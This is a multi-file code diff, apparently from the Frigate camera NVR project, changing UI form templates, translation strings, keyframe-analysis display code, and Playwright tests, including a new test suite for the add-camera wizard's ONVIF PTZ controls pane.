diff = difflib.unified_diff(
|
||||
current.splitlines(),
|
||||
rendered.splitlines(),
|
||||
fromfile=f"{name} (committed)",
|
||||
tofile=f"{name} (generated)",
|
||||
lineterm="",
|
||||
n=2,
|
||||
)
|
||||
for shown, line in enumerate(diff):
|
||||
if shown >= 60:
|
||||
logger.error(" ... (diff truncated)")
|
||||
break
|
||||
logger.error(" %s", line)
|
||||
return 1
|
||||
|
||||
|
||||
def _report(counts, flagged, unmatched, normalized) -> None:
|
||||
logger.info("Access levels applied:")
|
||||
for level in (PUBLIC, AUTHENTICATED, CAMERA, ADMIN):
|
||||
logger.info(" %-14s %d", level, counts.get(level, 0))
|
||||
logger.info(" %-14s %d", "total", sum(counts.values()))
|
||||
|
||||
if normalized:
|
||||
logger.info("\nStripped volatile timestamp defaults (%d):", len(normalized))
|
||||
for location, value in normalized:
|
||||
logger.info(" %s = %s", location.lstrip("/"), value)
|
||||
|
||||
if flagged:
|
||||
logger.info("\nFlagged for manual confirmation (%d):", len(flagged))
|
||||
for item in flagged:
|
||||
logger.info(" %-6s %s", item["method"], item["path"])
|
||||
logger.info(" -> %s (%s)", item["level"], item["flag"])
|
||||
|
||||
if unmatched:
|
||||
logger.info(
|
||||
"\nOperations with no classification (%d) [unexpected]:", len(unmatched)
|
||||
)
|
||||
for method, path in unmatched:
|
||||
logger.info(" %-6s %s", method, path)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
@@ -12,10 +12,6 @@ dist
|
||||
dist-ssr
|
||||
*.local
|
||||
|
||||
# Playwright
|
||||
playwright-report
|
||||
test-results
|
||||
|
||||
# Editor directories and files
|
||||
.vscode/*
|
||||
!.vscode/extensions.json
|
||||
|
||||
@@ -92,15 +92,6 @@ test.describe("Chat — streaming @medium", () => {
|
||||
await installChatStreamOverride(frigateApp, [
|
||||
{ type: "content", delta: "Hel" },
|
||||
{ type: "content", delta: "lo" },
|
||||
{
|
||||
type: "messages",
|
||||
messages: [
|
||||
{ role: "system", content: "sys" },
|
||||
{ role: "user", content: "hello chat" },
|
||||
{ role: "assistant", content: "Hello" },
|
||||
],
|
||||
},
|
||||
{ type: "done" },
|
||||
]);
|
||||
await frigateApp.goto("/chat");
|
||||
const input = frigateApp.page.getByPlaceholder(/ask/i);
|
||||
@@ -146,15 +137,6 @@ test.describe("Chat — streaming @medium", () => {
|
||||
{ type: "content", delta: "Hel" },
|
||||
{ type: "content", delta: "lo, " },
|
||||
{ type: "content", delta: "world!" },
|
||||
{
|
||||
type: "messages",
|
||||
messages: [
|
||||
{ role: "system", content: "sys" },
|
||||
{ role: "user", content: "greet me" },
|
||||
{ role: "assistant", content: "Hello, world!" },
|
||||
],
|
||||
},
|
||||
{ type: "done" },
|
||||
],
|
||||
{ chunkDelayMs: 50 },
|
||||
);
|
||||
@@ -169,39 +151,19 @@ test.describe("Chat — streaming @medium", () => {
|
||||
});
|
||||
});
|
||||
|
||||
test("tool calls in the chain render a ToolCallsGroup", async ({
|
||||
frigateApp,
|
||||
}) => {
|
||||
const toolTurn = [
|
||||
{ role: "system", content: "sys" },
|
||||
{ role: "user", content: "find people" },
|
||||
test("tool_calls chunks render a ToolCallsGroup", async ({ frigateApp }) => {
|
||||
await installChatStreamOverride(frigateApp, [
|
||||
{
|
||||
role: "assistant",
|
||||
content: null,
|
||||
type: "tool_calls",
|
||||
tool_calls: [
|
||||
{
|
||||
id: "call_1",
|
||||
type: "function",
|
||||
function: {
|
||||
name: "search_objects",
|
||||
arguments: '{"label":"person"}',
|
||||
},
|
||||
name: "search_objects",
|
||||
arguments: { label: "person" },
|
||||
},
|
||||
],
|
||||
},
|
||||
{ role: "tool", tool_call_id: "call_1", content: "[]" },
|
||||
];
|
||||
await installChatStreamOverride(frigateApp, [
|
||||
{ type: "messages", messages: toolTurn },
|
||||
{ type: "content", delta: "Searching for people." },
|
||||
{
|
||||
type: "messages",
|
||||
messages: [
|
||||
...toolTurn,
|
||||
{ role: "assistant", content: "Searching for people." },
|
||||
],
|
||||
},
|
||||
{ type: "done" },
|
||||
]);
|
||||
await frigateApp.goto("/chat");
|
||||
const input = frigateApp.page.getByPlaceholder(/ask/i);
|
||||
@@ -291,15 +253,6 @@ test.describe("Chat — attachment chip @medium", () => {
|
||||
// We use the stream override so the first message completes quickly.
|
||||
await installChatStreamOverride(frigateApp, [
|
||||
{ type: "content", delta: "Done." },
|
||||
{
|
||||
type: "messages",
|
||||
messages: [
|
||||
{ role: "system", content: "sys" },
|
||||
{ role: "user", content: "hello" },
|
||||
{ role: "assistant", content: "Done." },
|
||||
],
|
||||
},
|
||||
{ type: "done" },
|
||||
]);
|
||||
await frigateApp.goto("/chat");
|
||||
|
||||
|
||||
@@ -0,0 +1,187 @@
|
||||
/**
|
||||
* Add-camera wizard — PTZ controls pane.
|
||||
*
|
||||
* The pane lives on Step 3 (Stream Configuration) and only appears when the
|
||||
* ONVIF probe from Step 2 reported `ptz_supported`. These tests drive the
|
||||
* wizard to Step 3 with a mocked probe and assert the pane's contract:
|
||||
* 1. Visible + enabled when the probe reports PTZ, with the connection
|
||||
* fields collapsed by default and pre-filled once expanded.
|
||||
* 2. Toggling the switch off hides the disclosure and its fields.
|
||||
* 3. Clearing the host shows the validation warning and blocks "Next".
|
||||
* 4. Absent entirely when the probe reports no PTZ support.
|
||||
*
|
||||
* The save path (writing the `onvif` section to config/set) runs through
|
||||
* Step 4's live-validation flow, which registers go2rtc streams and renders
|
||||
* MSE previews that are unreliable in headless Chromium. Consistent with
|
||||
* clone-camera.spec.ts, that assertion is deferred to manual QA; the logic is
|
||||
* covered by the Step 4 -> parent handleSave wiring.
|
||||
*/
|
||||
|
||||
import { test, expect } from "../../fixtures/frigate-test";
|
||||
import type { Page, Locator } from "@playwright/test";
|
||||
|
||||
const PTZ_PROBE = {
|
||||
success: true,
|
||||
host: "192.168.1.100",
|
||||
port: 80,
|
||||
manufacturer: "Acme",
|
||||
model: "PTZ-1",
|
||||
firmware_version: "1.0",
|
||||
profiles_count: 1,
|
||||
ptz_supported: true,
|
||||
pan_tilt_supported: true,
|
||||
presets_count: 2,
|
||||
autotrack_supported: false,
|
||||
rtsp_candidates: [
|
||||
{
|
||||
source: "GetStreamUri",
|
||||
profile_token: "profile_1",
|
||||
uri: "rtsp://admin:pw@192.168.1.100:554/stream1",
|
||||
},
|
||||
],
|
||||
};
|
||||
|
||||
async function mockProbe(page: Page, probe: object) {
|
||||
await page.route("**/api/onvif/probe**", (route) =>
|
||||
route.fulfill({ json: probe }),
|
||||
);
|
||||
}
|
||||
|
||||
/** Open the wizard and drive Step 1 -> Step 2 -> Step 3. */
|
||||
async function gotoStep3(page: Page, host = "192.168.1.100") {
|
||||
await page.getByRole("button", { name: /Add New Camera/i }).click();
|
||||
const dialog = page.getByRole("dialog");
|
||||
await expect(dialog).toBeVisible();
|
||||
|
||||
// Step 1: name + host (probe mode is the default), then Continue.
|
||||
await dialog.getByPlaceholder(/front_door/i).fill("ptz_test_camera");
|
||||
await dialog.getByPlaceholder("192.168.1.100").fill(host);
|
||||
await dialog.getByRole("button", { name: /^Continue$/i }).click();
|
||||
|
||||
// Step 2: the probe auto-runs on mount; once candidates exist, Next enables.
|
||||
const next = dialog.getByRole("button", { name: /^Next$/i });
|
||||
await expect(next).toBeEnabled({ timeout: 10_000 });
|
||||
await next.click();
|
||||
|
||||
// Step 3 is the stream-configuration step; key off a stable control rather
|
||||
// than the description text (which has been reworded).
|
||||
await expect(
|
||||
dialog.getByRole("button", { name: /Add Another Stream/i }),
|
||||
).toBeVisible();
|
||||
return dialog;
|
||||
}
|
||||
|
||||
/** The PTZ enable switch (scoped to the PTZ card header row). */
|
||||
function ptzSwitch(dialog: Locator) {
|
||||
return dialog
|
||||
.locator("div.justify-between", { hasText: "Enable PTZ Controls" })
|
||||
.getByRole("switch");
|
||||
}
|
||||
|
||||
/** Expand the (collapsed-by-default) ONVIF connection-detail fields. */
|
||||
async function expandOnvifDetails(dialog: Locator) {
|
||||
await dialog
|
||||
.getByRole("button", { name: /ONVIF connection details/i })
|
||||
.click();
|
||||
}
|
||||
|
||||
test.describe("Camera wizard PTZ pane @medium @mobile", () => {
|
||||
test.beforeEach(async ({ frigateApp }) => {
|
||||
// not in the default mock; unmocked it 500s and trips the error collector
|
||||
await frigateApp.page.route("**/api/config/raw_paths", (route) =>
|
||||
route.fulfill({ json: {} }),
|
||||
);
|
||||
await frigateApp.goto("/settings?page=cameraManagement");
|
||||
await expect(
|
||||
frigateApp.page.getByRole("heading", { name: /Manage Cameras/i }),
|
||||
).toBeVisible();
|
||||
});
|
||||
|
||||
test("shows an enabled PTZ pane with collapsed, pre-filled fields", async ({
|
||||
frigateApp,
|
||||
}) => {
|
||||
await mockProbe(frigateApp.page, PTZ_PROBE);
|
||||
const dialog = await gotoStep3(frigateApp.page);
|
||||
|
||||
// Card is present with the detected note and the switch defaults on.
|
||||
await expect(
|
||||
dialog.getByText("Enable PTZ Controls", { exact: true }),
|
||||
).toBeVisible();
|
||||
await expect(
|
||||
dialog.getByText(/PTZ support has been detected via ONVIF/i),
|
||||
).toBeVisible();
|
||||
await expect(ptzSwitch(dialog)).toBeChecked();
|
||||
|
||||
// Connection fields are collapsed by default.
|
||||
await expect(dialog.getByPlaceholder("192.168.1.100")).toHaveCount(0);
|
||||
|
||||
// Expanding reveals the host pre-filled from the probe.
|
||||
await expandOnvifDetails(dialog);
|
||||
await expect(dialog.getByPlaceholder("192.168.1.100")).toHaveValue(
|
||||
"192.168.1.100",
|
||||
);
|
||||
});
|
||||
|
||||
test("toggling the switch off hides the disclosure and fields", async ({
|
||||
frigateApp,
|
||||
}) => {
|
||||
await mockProbe(frigateApp.page, PTZ_PROBE);
|
||||
const dialog = await gotoStep3(frigateApp.page);
|
||||
|
||||
await expandOnvifDetails(dialog);
|
||||
await expect(dialog.getByPlaceholder("192.168.1.100")).toBeVisible();
|
||||
|
||||
await ptzSwitch(dialog).click();
|
||||
|
||||
await expect(dialog.getByPlaceholder("192.168.1.100")).toHaveCount(0);
|
||||
await expect(
|
||||
dialog.getByRole("button", { name: /ONVIF connection details/i }),
|
||||
).toHaveCount(0);
|
||||
});
|
||||
|
||||
test("clearing the host shows the warning and blocks Next", async ({
|
||||
frigateApp,
|
||||
}) => {
|
||||
await mockProbe(frigateApp.page, PTZ_PROBE);
|
||||
const dialog = await gotoStep3(frigateApp.page);
|
||||
|
||||
await expandOnvifDetails(dialog);
|
||||
await dialog.getByPlaceholder("192.168.1.100").fill("");
|
||||
|
||||
await expect(
|
||||
dialog.getByText(/An ONVIF host and port are required/i),
|
||||
).toBeVisible();
|
||||
await expect(
|
||||
dialog.getByRole("button", { name: /^Next$/i }),
|
||||
).toBeDisabled();
|
||||
});
|
||||
|
||||
test("shows the pane but leaves the switch off without continuous pan/tilt", async ({
|
||||
frigateApp,
|
||||
}) => {
|
||||
// e.g. a varifocal camera: PTZ service present, but zoom/focus only
|
||||
await mockProbe(frigateApp.page, {
|
||||
...PTZ_PROBE,
|
||||
pan_tilt_supported: false,
|
||||
});
|
||||
const dialog = await gotoStep3(frigateApp.page);
|
||||
|
||||
await expect(
|
||||
dialog.getByText("Enable PTZ Controls", { exact: true }),
|
||||
).toBeVisible();
|
||||
await expect(ptzSwitch(dialog)).not.toBeChecked();
|
||||
// with the switch off, the connection fields are not shown
|
||||
await expect(dialog.getByPlaceholder("192.168.1.100")).toHaveCount(0);
|
||||
});
|
||||
|
||||
test("hides the PTZ pane when the probe reports no PTZ support", async ({
|
||||
frigateApp,
|
||||
}) => {
|
||||
await mockProbe(frigateApp.page, { ...PTZ_PROBE, ptz_supported: false });
|
||||
const dialog = await gotoStep3(frigateApp.page);
|
||||
|
||||
await expect(
|
||||
dialog.getByText("Enable PTZ Controls", { exact: true }),
|
||||
).toHaveCount(0);
|
||||
});
|
||||
});
|
||||
@@ -152,8 +152,8 @@
|
||||
}
|
||||
},
|
||||
"ffmpeg": {
|
||||
"label": "Streams (FFmpeg)",
|
||||
"description": "Camera stream inputs and FFmpeg options, including binary path, args, hwaccel, and per-role output args.",
|
||||
"label": "FFmpeg",
|
||||
"description": "FFmpeg settings including binary path, args, hwaccel options, and per-role output args.",
|
||||
"path": {
|
||||
"label": "FFmpeg path",
|
||||
"description": "Path to the FFmpeg binary to use or a version alias (\"7.0\" or \"8.0\")."
|
||||
@@ -666,6 +666,10 @@
|
||||
"label": "Default retention",
|
||||
"description": "Default number of days to retain snapshots."
|
||||
},
|
||||
"mode": {
|
||||
"label": "Retention mode",
|
||||
"description": "Mode for retention: all (save all segments), motion (save segments with motion), or active_objects (save segments with active objects)."
|
||||
},
|
||||
"objects": {
|
||||
"label": "Object retention",
|
||||
"description": "Per-object overrides for snapshot retention days."
|
||||
|
||||
@@ -1176,6 +1176,10 @@
|
||||
"label": "Default retention",
|
||||
"description": "Default number of days to retain snapshots."
|
||||
},
|
||||
"mode": {
|
||||
"label": "Retention mode",
|
||||
"description": "Mode for retention: all (save all segments), motion (save segments with motion), or active_objects (save segments with active objects)."
|
||||
},
|
||||
"objects": {
|
||||
"label": "Object retention",
|
||||
"description": "Per-object overrides for snapshot retention days."
|
||||
|
||||
@@ -85,7 +85,7 @@
|
||||
"integrationObjectClassification": "Object classification",
|
||||
"integrationAudioTranscription": "Audio transcription",
|
||||
"cameraDetect": "Object detection",
|
||||
"cameraFfmpeg": "Streams (FFmpeg)",
|
||||
"cameraFfmpeg": "FFmpeg",
|
||||
"cameraRecording": "Recording",
|
||||
"cameraSnapshots": "Snapshots",
|
||||
"cameraMotion": "Motion detection",
|
||||
@@ -364,7 +364,7 @@
|
||||
}
|
||||
},
|
||||
"step3": {
|
||||
"description": "Configure stream roles and add additional streams for your camera.",
|
||||
"description": "Configure features, stream roles, and add additional streams for your camera.",
|
||||
"streamsTitle": "Camera Streams",
|
||||
"addStream": "Add Stream",
|
||||
"addAnotherStream": "Add Another Stream",
|
||||
@@ -403,6 +403,16 @@
|
||||
"featuresPopover": {
|
||||
"title": "Stream Features",
|
||||
"description": "Use go2rtc restreaming to reduce connections to your camera."
|
||||
},
|
||||
"ptz": {
|
||||
"title": "Enable PTZ Controls",
|
||||
"detectedNote": "PTZ support has been detected via ONVIF. If this is a PTZ camera, enabling this option will allow you to control the camera's pan/tilt/zoom functions from the UI.",
|
||||
"connectionDetails": "ONVIF connection details",
|
||||
"host": "ONVIF Host",
|
||||
"port": "ONVIF Port",
|
||||
"username": "ONVIF Username",
|
||||
"password": "ONVIF Password",
|
||||
"hostRequiredWarning": "An ONVIF host and port are required when PTZ controls are enabled."
|
||||
}
|
||||
},
|
||||
"step4": {
|
||||
|
||||
@@ -174,21 +174,6 @@
|
||||
"error": "Error: {{error}}",
|
||||
"tips": {
|
||||
"title": "Camera Probe Info"
|
||||
},
|
||||
"keyframes": {
|
||||
"title": "Keyframe analysis",
|
||||
"analyzing": "Analyzing keyframes... {{seconds}} seconds remaining",
|
||||
"stillAnalyzing": "Still analyzing keyframes...",
|
||||
"recordStream": "Record stream:",
|
||||
"keyframeCount": "Keyframes observed:",
|
||||
"observedDuration": "Observed duration:",
|
||||
"gap": "Keyframe gap (min / avg / max):",
|
||||
"segmentLength": "Recording segment length:",
|
||||
"ok": "Keyframes every ~{{seconds}}s, good for recording and playback.",
|
||||
"warning": "Sparse or variable keyframes (longest gap ~{{seconds}}s), likely a smart codec (H.264+/H.265+), this is not recommended.",
|
||||
"error": "Keyframe gap (~{{seconds}}s) exceeds the recording segment length ({{segmentTime}}s). Some segments may have no keyframe, which breaks playback. Disable the smart/+ codec on the camera or shorten its keyframe interval.",
|
||||
"unknown": "Couldn't determine keyframe spacing.",
|
||||
"recordDisabled": "Recording is disabled for this camera."
|
||||
}
|
||||
},
|
||||
"framesAndDetections": "Frames / Detections",
|
||||
|
||||
@@ -44,14 +44,7 @@ const record: SectionConfigOverrides = {
|
||||
hiddenFields: ["enabled_in_config", "sync_recordings"],
|
||||
advancedFields: ["expire_interval", "preview", "export"],
|
||||
uiSchema: {
|
||||
continuous: {
|
||||
"ui:options": { defaultOpen: true, disableCollapsible: true },
|
||||
},
|
||||
motion: {
|
||||
"ui:options": { defaultOpen: true, disableCollapsible: true },
|
||||
},
|
||||
export: {
|
||||
"ui:options": { defaultOpen: true, disableCollapsible: true },
|
||||
hwaccel_args: {
|
||||
"ui:widget": "FfmpegArgsWidget",
|
||||
"ui:options": {
|
||||
@@ -66,12 +59,9 @@ const record: SectionConfigOverrides = {
|
||||
"detections.retain.mode": {
|
||||
"ui:options": { enumI18nPrefix: "retainMode" },
|
||||
},
|
||||
preview: {
|
||||
"ui:options": { defaultOpen: true, disableCollapsible: true },
|
||||
quality: {
|
||||
"ui:options": {
|
||||
enumI18nPrefix: "previewQuality",
|
||||
},
|
||||
"preview.quality": {
|
||||
"ui:options": {
|
||||
enumI18nPrefix: "previewQuality",
|
||||
},
|
||||
},
|
||||
},
|
||||
|
||||
@@ -21,14 +21,13 @@ const snapshots: SectionConfigOverrides = {
|
||||
"crop",
|
||||
"quality",
|
||||
"timestamp",
|
||||
"required_zones",
|
||||
"retain",
|
||||
],
|
||||
fieldGroups: {
|
||||
display: ["bounding_box", "crop", "quality", "timestamp"],
|
||||
},
|
||||
hiddenFields: ["enabled_in_config"],
|
||||
advancedFields: ["height", "quality"],
|
||||
advancedFields: ["height", "quality", "retain"],
|
||||
uiSchema: {
|
||||
required_zones: {
|
||||
"ui:widget": "zoneNames",
|
||||
@@ -36,6 +35,11 @@ const snapshots: SectionConfigOverrides = {
|
||||
suppressMultiSchema: true,
|
||||
},
|
||||
},
|
||||
"retain.mode": {
|
||||
"ui:options": {
|
||||
enumI18nPrefix: "retainMode",
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
global: {
|
||||
|
||||
@@ -156,8 +156,7 @@ export function ObjectFieldTemplate(props: ObjectFieldTemplateProps) {
|
||||
};
|
||||
|
||||
const hasModifiedDescendants = checkSubtreeModified(fieldPath);
|
||||
const defaultOpen = uiSchema?.["ui:options"]?.defaultOpen === true;
|
||||
const [isOpen, setIsOpen] = useState(hasModifiedDescendants || defaultOpen);
|
||||
const [isOpen, setIsOpen] = useState(hasModifiedDescendants);
|
||||
const resetKey = `${formContext?.level ?? "global"}::${
|
||||
formContext?.cameraName ?? "global"
|
||||
}`;
|
||||
@@ -193,8 +192,6 @@ export function ObjectFieldTemplate(props: ObjectFieldTemplateProps) {
|
||||
(uiSchema?.["ui:groups"] as Record<string, string[]> | undefined) || {};
|
||||
const disableNestedCard =
|
||||
uiSchema?.["ui:options"]?.disableNestedCard === true;
|
||||
const disableCollapsible =
|
||||
uiSchema?.["ui:options"]?.disableCollapsible === true;
|
||||
|
||||
const isHiddenProp = (prop: (typeof properties)[number]) =>
|
||||
(prop.content.props as RjsfElementProps).uiSchema?.["ui:widget"] ===
|
||||
@@ -231,10 +228,10 @@ export function ObjectFieldTemplate(props: ObjectFieldTemplateProps) {
|
||||
useEffect(() => {
|
||||
if (lastResetKeyRef.current !== resetKey) {
|
||||
lastResetKeyRef.current = resetKey;
|
||||
setIsOpen(hasModifiedDescendants || defaultOpen);
|
||||
setIsOpen(hasModifiedDescendants);
|
||||
setShowAdvanced(hasModifiedAdvanced);
|
||||
}
|
||||
}, [resetKey, hasModifiedDescendants, hasModifiedAdvanced, defaultOpen]);
|
||||
}, [resetKey, hasModifiedDescendants, hasModifiedAdvanced]);
|
||||
const { children } = props as ObjectFieldTemplateProps & {
|
||||
children?: ReactNode;
|
||||
};
|
||||
@@ -461,75 +458,6 @@ export function ObjectFieldTemplate(props: ObjectFieldTemplateProps) {
|
||||
);
|
||||
}
|
||||
|
||||
// Label/description/docs header shared by the collapsible and static layouts.
|
||||
const cardHeaderContent = (
|
||||
<div className="min-w-0 pr-3">
|
||||
<CardTitle
|
||||
className={cn(
|
||||
"flex items-center text-sm",
|
||||
hasModifiedDescendants && "text-unsaved",
|
||||
)}
|
||||
>
|
||||
{inferredLabel}
|
||||
{objectRequiresRestart && <RestartRequiredIndicator className="ml-2" />}
|
||||
</CardTitle>
|
||||
{inferredDescription && (
|
||||
<p className="mt-1 text-xs text-muted-foreground">
|
||||
{inferredDescription}
|
||||
</p>
|
||||
)}
|
||||
{fieldDocsUrl && (
|
||||
<div className="mt-1 flex items-center text-xs text-primary-variant">
|
||||
<Link
|
||||
to={fieldDocsUrl}
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
className="inline"
|
||||
onClick={(e) => e.stopPropagation()}
|
||||
>
|
||||
{t("readTheDocumentation", { ns: "common" })}
|
||||
<LuExternalLink className="ml-2 inline-flex size-3" />
|
||||
</Link>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
|
||||
// Body shared by the collapsible and static layouts.
|
||||
const cardBody = hasCustomChildren ? (
|
||||
children
|
||||
) : (
|
||||
<>
|
||||
{renderGroupedFields(regularProps)}
|
||||
<AddPropertyButton
|
||||
onAddProperty={onAddProperty}
|
||||
schema={schema}
|
||||
uiSchema={uiSchema}
|
||||
formData={formData}
|
||||
disabled={disabled}
|
||||
readonly={readonly}
|
||||
/>
|
||||
|
||||
<AdvancedCollapsible
|
||||
count={advancedProps.length}
|
||||
open={showAdvanced}
|
||||
onOpenChange={setShowAdvanced}
|
||||
>
|
||||
{renderGroupedFields(advancedProps)}
|
||||
</AdvancedCollapsible>
|
||||
</>
|
||||
);
|
||||
|
||||
// Static (non-collapsible) card: keep the labeled header, always show content.
|
||||
if (disableCollapsible) {
|
||||
return (
|
||||
<Card className="w-full">
|
||||
<CardHeader className="p-4">{cardHeaderContent}</CardHeader>
|
||||
<CardContent className="space-y-6 p-4 pt-0">{cardBody}</CardContent>
|
||||
</Card>
|
||||
);
|
||||
}
|
||||
|
||||
// Nested objects render as collapsible cards
|
||||
return (
|
||||
<Card className="w-full">
|
||||
@@ -537,7 +465,38 @@ export function ObjectFieldTemplate(props: ObjectFieldTemplateProps) {
|
||||
<CollapsibleTrigger asChild>
|
||||
<CardHeader className="cursor-pointer p-4 transition-colors hover:bg-muted/50">
|
||||
<div className="flex items-center justify-between">
|
||||
{cardHeaderContent}
|
||||
<div className="min-w-0 pr-3">
|
||||
<CardTitle
|
||||
className={cn(
|
||||
"flex items-center text-sm",
|
||||
hasModifiedDescendants && "text-unsaved",
|
||||
)}
|
||||
>
|
||||
{inferredLabel}
|
||||
{objectRequiresRestart && (
|
||||
<RestartRequiredIndicator className="ml-2" />
|
||||
)}
|
||||
</CardTitle>
|
||||
{inferredDescription && (
|
||||
<p className="mt-1 text-xs text-muted-foreground">
|
||||
{inferredDescription}
|
||||
</p>
|
||||
)}
|
||||
{fieldDocsUrl && (
|
||||
<div className="mt-1 flex items-center text-xs text-primary-variant">
|
||||
<Link
|
||||
to={fieldDocsUrl}
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
className="inline"
|
||||
onClick={(e) => e.stopPropagation()}
|
||||
>
|
||||
{t("readTheDocumentation", { ns: "common" })}
|
||||
<LuExternalLink className="ml-2 inline-flex size-3" />
|
||||
</Link>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
{isOpen ? (
|
||||
<LuChevronDown className="h-4 w-4 shrink-0" />
|
||||
) : (
|
||||
@@ -547,7 +506,31 @@ export function ObjectFieldTemplate(props: ObjectFieldTemplateProps) {
|
||||
</CardHeader>
|
||||
</CollapsibleTrigger>
|
||||
<CollapsibleContent>
|
||||
<CardContent className="space-y-6 p-4 pt-0">{cardBody}</CardContent>
|
||||
<CardContent className="space-y-6 p-4 pt-0">
|
||||
{hasCustomChildren ? (
|
||||
children
|
||||
) : (
|
||||
<>
|
||||
{renderGroupedFields(regularProps)}
|
||||
<AddPropertyButton
|
||||
onAddProperty={onAddProperty}
|
||||
schema={schema}
|
||||
uiSchema={uiSchema}
|
||||
formData={formData}
|
||||
disabled={disabled}
|
||||
readonly={readonly}
|
||||
/>
|
||||
|
||||
<AdvancedCollapsible
|
||||
count={advancedProps.length}
|
||||
open={showAdvanced}
|
||||
onOpenChange={setShowAdvanced}
|
||||
>
|
||||
{renderGroupedFields(advancedProps)}
|
||||
</AdvancedCollapsible>
|
||||
</>
|
||||
)}
|
||||
</CardContent>
|
||||
</CollapsibleContent>
|
||||
</Collapsible>
|
||||
</Card>
|
||||
|
||||
@@ -7,8 +7,7 @@ import {
|
||||
DialogTitle,
|
||||
} from "../ui/dialog";
|
||||
import ActivityIndicator from "../indicators/activity-indicator";
|
||||
import KeyframeAnalysisSection from "./KeyframeAnalysisSection";
|
||||
import { Ffprobe, KeyframeAnalysis } from "@/types/stats";
|
||||
import { Ffprobe } from "@/types/stats";
|
||||
import { Button } from "../ui/button";
|
||||
import copy from "copy-to-clipboard";
|
||||
import { CameraConfig } from "@/types/frigateConfig";
|
||||
@@ -31,7 +30,6 @@ export default function CameraInfoDialog({
|
||||
}: CameraInfoDialogProps) {
|
||||
const { t } = useTranslation(["views/system"]);
|
||||
const [ffprobeInfo, setFfprobeInfo] = useState<Ffprobe[]>();
|
||||
const [keyframeInfo, setKeyframeInfo] = useState<KeyframeAnalysis>();
|
||||
|
||||
useEffect(() => {
|
||||
axios
|
||||
@@ -69,12 +67,7 @@ export default function CameraInfoDialog({
|
||||
}, []);
|
||||
|
||||
const onCopyFfprobe = async () => {
|
||||
copy(
|
||||
JSON.stringify({
|
||||
ffprobe: ffprobeInfo,
|
||||
keyframe_analysis: keyframeInfo,
|
||||
}),
|
||||
);
|
||||
copy(JSON.stringify(ffprobeInfo));
|
||||
toast.success(t("cameras.toast.success.copyToClipboard"));
|
||||
};
|
||||
|
||||
@@ -103,7 +96,7 @@ export default function CameraInfoDialog({
|
||||
<Trans ns="views/system">cameras.info.streamDataFromFFPROBE</Trans>
|
||||
</DialogDescription>
|
||||
|
||||
<div className="mb-2 p-4 text-sm">
|
||||
<div className="mb-2 p-4">
|
||||
{ffprobeInfo ? (
|
||||
<div>
|
||||
{ffprobeInfo.map((stream, idx) => (
|
||||
@@ -191,10 +184,6 @@ export default function CameraInfoDialog({
|
||||
)}
|
||||
</div>
|
||||
))}
|
||||
<KeyframeAnalysisSection
|
||||
cameraName={camera.name}
|
||||
onResult={setKeyframeInfo}
|
||||
/>
|
||||
</div>
|
||||
) : (
|
||||
<div className="flex flex-col items-center">
|
||||
|
||||
@@ -1,193 +0,0 @@
|
||||
import { useEffect, useMemo, useState } from "react";
|
||||
import { useTranslation } from "react-i18next";
|
||||
import axios from "axios";
|
||||
import { FaCircleCheck, FaTriangleExclamation } from "react-icons/fa6";
|
||||
import { LuX } from "react-icons/lu";
|
||||
import ActivityIndicator from "../indicators/activity-indicator";
|
||||
import { KeyframeAnalysis } from "@/types/stats";
|
||||
|
||||
const PROBE_WINDOW_SECONDS = 20;
|
||||
|
||||
type KeyframeAnalysisSectionProps = {
|
||||
cameraName: string;
|
||||
onResult?: (analysis: KeyframeAnalysis) => void;
|
||||
};
|
||||
|
||||
export default function KeyframeAnalysisSection({
|
||||
cameraName,
|
||||
onResult,
|
||||
}: KeyframeAnalysisSectionProps) {
|
||||
const { t } = useTranslation(["views/system"]);
|
||||
const [analysis, setAnalysis] = useState<KeyframeAnalysis>();
|
||||
const [failed, setFailed] = useState(false);
|
||||
const [secondsRemaining, setSecondsRemaining] =
|
||||
useState(PROBE_WINDOW_SECONDS);
|
||||
|
||||
// fire the probe once on mount
|
||||
useEffect(() => {
|
||||
let active = true;
|
||||
axios
|
||||
.get("keyframe_analysis", { params: { camera: cameraName } })
|
||||
.then((res) => {
|
||||
if (active) {
|
||||
setAnalysis(res.data);
|
||||
onResult?.(res.data);
|
||||
}
|
||||
})
|
||||
.catch(() => {
|
||||
if (active) {
|
||||
setFailed(true);
|
||||
}
|
||||
});
|
||||
return () => {
|
||||
active = false;
|
||||
};
|
||||
// re-probing only depends on the camera; onResult is a stable setter
|
||||
// eslint-disable-next-line react-hooks/exhaustive-deps
|
||||
}, [cameraName]);
|
||||
|
||||
// countdown while waiting for the probe to return
|
||||
useEffect(() => {
|
||||
if (analysis || failed) {
|
||||
return;
|
||||
}
|
||||
const interval = setInterval(() => {
|
||||
setSecondsRemaining((s) => (s > 0 ? s - 1 : 0));
|
||||
}, 1000);
|
||||
return () => clearInterval(interval);
|
||||
}, [analysis, failed]);
|
||||
|
||||
const content = useMemo(() => {
|
||||
if (failed) {
|
||||
return <Row icon="unknown">{t("cameras.info.keyframes.unknown")}</Row>;
|
||||
}
|
||||
|
||||
if (!analysis) {
|
||||
return (
|
||||
<div className="flex items-center gap-2 text-muted-foreground">
|
||||
<ActivityIndicator className="size-4" />
|
||||
<span>
|
||||
{secondsRemaining > 0
|
||||
? t("cameras.info.keyframes.analyzing", {
|
||||
seconds: secondsRemaining,
|
||||
})
|
||||
: t("cameras.info.keyframes.stillAnalyzing")}
|
||||
</span>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
let summary;
|
||||
switch (analysis.severity) {
|
||||
case "ok":
|
||||
summary = (
|
||||
<Row icon="ok">
|
||||
{t("cameras.info.keyframes.ok", { seconds: analysis.mean_gap })}
|
||||
</Row>
|
||||
);
|
||||
break;
|
||||
case "warning":
|
||||
summary = (
|
||||
<Row icon="warning">
|
||||
{t("cameras.info.keyframes.warning", { seconds: analysis.max_gap })}
|
||||
</Row>
|
||||
);
|
||||
break;
|
||||
case "error":
|
||||
summary = (
|
||||
<Row icon="error">
|
||||
{t("cameras.info.keyframes.error", {
|
||||
seconds: analysis.max_gap,
|
||||
segmentTime: analysis.segment_time,
|
||||
})}
|
||||
</Row>
|
||||
);
|
||||
break;
|
||||
case "record_disabled":
|
||||
summary = (
|
||||
